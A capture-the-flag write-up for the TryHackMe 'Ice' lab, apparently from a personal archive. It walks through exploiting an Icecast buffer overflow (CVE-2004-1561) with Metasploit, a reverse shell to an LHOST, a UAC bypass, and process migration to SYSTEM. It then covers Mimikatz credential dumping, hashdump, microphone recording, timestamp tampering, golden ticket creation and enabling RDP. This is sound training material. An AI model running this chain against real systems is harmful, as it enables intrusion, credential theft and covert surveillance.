← CTF archive

· Earliest timestamped screenshot

[TryHackMe] Ice

Exploiting a Windows machine through its media server.

Recon

sudo nmap -p- -T4 -sV 10.14.36.25

Initial access

CVE : https://www.cvedetails.com/cve/CVE-2004-1561/?q=CVE-2004-1561 ID : CVE-2004-1561 Details : Remote Buffer Overflow

Exploit:

msfconsole -q -x "use exploit/windows/http/icecast_header;set RHOSTS 10.10.177.118;set LHOST 10.14.36.25;run;"

Screenshot

UAC bypass module:

# CTRL+Z
# set session 2
use exploit/windows/local/bypassuac_eventvwr

Screenshot

Elevating privileges:

Screenshot

Print spooler process:

ps

Screenshot

Migrating to the print spooler process:

migrate -N spoolsv.exe

Screenshot

We can run commands as NT AUTHORITY\SYSTEM.

getuid

Screenshot

Looting

Loading Mimikatz into memory:

kiwi

Screenshot

Showing the Mimikatz module help:

help

Screenshot

Dumping credentials from memory with the Kiwi module:

creds_all

Screenshot

Post-exploitation

Dumping passwords from the local machine:

hashdump

Screenshot

Starting screen sharing from the remote Meterpreter session:

screenshare

Screenshot

Screenshot

Recording the microphone attached to the system:

record_mic

The next command changes file timestamps on the system. Timestamp modification command:

timestomp

Screenshot

Golden ticket module:

golden_ticket_create

Screenshot

Enabling RDP on the remote machine:

# CTRL + Z
run post/windows/manage/enable_rdp

Screenshot

Commands run in CMD when enabling RDP:

Screenshot

Screenshot